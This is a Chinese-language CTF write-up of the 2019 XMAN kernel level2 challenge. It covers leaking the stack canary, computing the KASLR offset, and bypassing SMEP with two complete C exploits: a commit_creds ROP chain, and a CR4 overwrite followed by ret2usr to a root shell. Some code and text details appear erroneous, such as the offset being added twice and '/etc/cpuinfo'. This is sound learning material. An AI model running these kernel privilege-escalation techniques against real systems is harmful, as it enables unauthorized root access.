2019-xman-kernel-level2

0.前言

这道题是2019 xman冬令营中kernel课程的level2,今天整理下之前的write’sUp,水一篇,讲师要求不外放题目,所以这里就不放出题目了,题目也很简单。

1.查看文件

看到驱动文件canary保护开启
以root权限运行kernel的时候查看/etc/cpuinfo看到开启了smep保护机制,同时开启了地址随机化。 # 2.IDA分析
栈溢出,越界读写,很简单的洞。不过一般pwn题的话找到漏洞和知道怎么利用是两回事,而对于kernel则是知道怎么利用和知道怎么写exp是两回事。

3.思路

第一步:首先canary很好绕过,通过越界读来泄露canary。后面再通过越界写rop的时候将canary写入对应的地址即可。关闭地址随机化下个ret的断点就找到了。

查看当前栈的信息,canary在当前rsp-0x10的位置:

第二步:接下来就是地址随机化怎么绕过了,由于我们后面要接rop,那么由于地址随机化技术会导致我们的rop地址不对,所以我们需要找到开启地址随机化的偏移,该偏移是固定的。也就是说,没有开启地址随机化之前,内核中某条指令或函数的地址是a,开启地址随机化后会有b的偏移,那么所有的指令和函数源地址a+b就是开启随机化后的地址。在上面随便选一个kernel地址来计算一下就可以得到偏移了。

第三步:smep在xman入营文章中已经提供两个绕过方式:1.rop直接提权。2.改rc4寄存器为0x6f0,在这里我们分别实践两个绕过方式。

4 exp

4.1 思路一

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <assert.h>
#include<stdint.h>
//ffffffff810b9d80 T prepare_kernel_cred
//ffffffff810b99d0 T commit_creds
// uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
// uint64_t commit_creds = 0xffffffff810b99d0;
// 0xffffffff8102e89d: add byte ptr [rax], al; mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret; 
uint64_t commit_creds = 0xffffffff810b99d0;
uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
uint64_t pop_rdi_ret = 0xffffffff8100631d;
uint64_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81020300;
uint64_t pop_rdx_ret = 0xffffffff810aebb2;
uint64_t call_rdx = 0xffffffff821de6b9;
uint64_t mov_rdi_rax_call_rdx = 0xffffffff810aa626;
uint64_t swapgs_pop_rbp_ret = 0xffffffff81070834;
uint64_t user_cs, user_ss, user_eflags, user_sp;
void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void save_status() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);
}

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff&s[i]);
    }
    return result;
}

void writeFunc(int fd,char *buffer){

    int flag = ioctl(fd,0x6001,buffer);
    if(flag){
        puts("success write to kernel buffer");
    }else{
        puts("failed!");
    }
}

void readFunc(int fd,char *buffer){
    int flag = ioctl(fd,0x6002,buffer);
    if(flag){
        puts("success read from kernel buffer");
    }else{
        puts("failed!");
    }
}

int main(){
    save_status();
    int fd = open("/dev/baby",0);
    char buffer[0x200];
    if(fd<0){
        puts("failed!");
        exit(-1);
    }
    getchar();
    readFunc(fd,buffer);
    write(1,buffer,0x200);
    uint64_t no_addr = 0xffffffff812b8cc8;
    uint64_t addr = u64(&buffer[0x90]);
    uint64_t canary = u64(&buffer[0x80]);
    uint64_t offset = addr - no_addr;
    commit_creds = commit_creds + offset;
    prepare_kernel_cred = prepare_kernel_cred + offset;
    printf("[+] offset is : %p\n",offset);
    printf("[+] canary is : %p\n",canary);
    memset(buffer,"\x00",0x78);
    *((size_t*)buffer+0x80/8) = canary;
    *((size_t*)buffer+0x88/8) = 0;
    *((size_t*)buffer+0x90/8) = offset+pop_rdi_ret;
    *((size_t*)buffer+0x98/8) = 0;
    *((size_t*)buffer+0xa0/8) = prepare_kernel_cred+offset;
    *((size_t*)buffer+0xa8/8) = pop_rdx_ret+offset;
    *((size_t*)buffer+0xb0/8) = commit_creds+offset;
    *((size_t*)buffer+0xb8/8) = mov_rdi_rax_call_rdx+offset;
    *((size_t*)buffer+0xc0/8) = swapgs_pop_rbp_ret+offset;
    *((size_t*)buffer+0xc8/8) = 0;
    *((size_t*)buffer+0xd0/8) = 0xffffffff818e8977+offset;
    *((size_t*)buffer+0xd8/8) = launch_shell;
    *((size_t*)buffer+0xe0/8) = user_cs;
    *((size_t*)buffer+0xe8/8) = user_eflags;
    *((size_t*)buffer+0xf0/8) = user_sp;
    *((size_t*)buffer+0xf8/8) = user_ss;

    writeFunc(fd,buffer);
    return 0;
}

4.2 思路二

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <assert.h>
#include<stdint.h>
//ffffffff810b9d80 T prepare_kernel_cred
//ffffffff810b99d0 T commit_creds
// uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
// uint64_t commit_creds = 0xffffffff810b99d0;
uint64_t (*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;
uint64_t pop_rdi_ret = 0xffffffff8100631d;
uint64_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81020300;
size_t user_cs, user_ss, user_eflags, user_sp;
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
void launch_shell(){
    execl("/bin/sh","sh",NULL);
}
void payload(){
    commit_creds(prepare_kernel_cred(0));
    asm("movq $tf, %rsp\n"
        "swapgs\n"
        "iretq\n");
    launch_shell();
}
void save_status(){
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
       :
       :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}

uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff&s[i]);
    }
    return result;
}

void writeFunc(int fd,char *buffer){

    int flag = ioctl(fd,0x6001,buffer);
    if(flag){
        puts("success write to kernel buffer");
    }else{
        puts("failed!");
    }
}
void readFunc(int fd,char *buffer){
    int flag = ioctl(fd,0x6002,buffer);
    if(flag){
        puts("success read from kernel buffer");
    }else{
        puts("failed!");
    }
}
int main(){
    save_status();
    int fd = open("/dev/baby",0);
    char buffer[0x200];
    if(fd<0){
        puts("failed!");
        exit(-1);
    }
    getchar();
    readFunc(fd,buffer);
    write(1,buffer,0x200);
    uint64_t no_addr = 0xffffffff812b8cc8;
    uint64_t addr = u64(&buffer[0x90]);
    uint64_t canary = u64(&buffer[0x80]);
    uint64_t offset = addr - no_addr;
    commit_creds = commit_creds + offset;
    prepare_kernel_cred = prepare_kernel_cred + offset;
    printf("[+] offset is : %p\n",offset);
    printf("[+] canary is : %p\n",canary);
    memset(buffer,"\x00",0x78);
    *((size_t*)buffer+0x80/8) = canary;
    *((size_t*)buffer+0x88/8) = 0;
    *((size_t*)buffer+0x90/8) = offset+pop_rdi_ret;
    *((size_t*)buffer+0x98/8) = 0x6f0;
    *((size_t*)buffer+0xa0/8) = offset+mov_cr4_rdi_pop_rbp_ret;
    *((size_t*)buffer+0xa8/8) = 0;
    *((size_t*)buffer+0xb0/8) = payload;
    writeFunc(fd,buffer);
    return 0;
}

  Reprint policy: xiaoxin 2019-xman-kernel-level2

 Previous
2019-SUCTF-kernel-sudrv 2019-SUCTF-kernel-sudrv
0x00 前言这是2019 SUCTF的kernel题,拿过来回味一下。检测知识点格式化字符串和heap overflow题目链接提取码:wqhv 0x01 查看文件 开启了地址随机化和smep,canry没有开启。 0x02 IDA分
Next 
2019-xman-入营-kernel 2019-xman-入营-kernel
[toc] 0.前言这是一道2019 xman入营赛题,当时完全不会kernel的内容,所以直接就放弃了。题目链接提取码:uckj 1.查看文件 没有canary保护,开启了smep保护机制 2.IDA分析调用write函数就可以向k
  TOC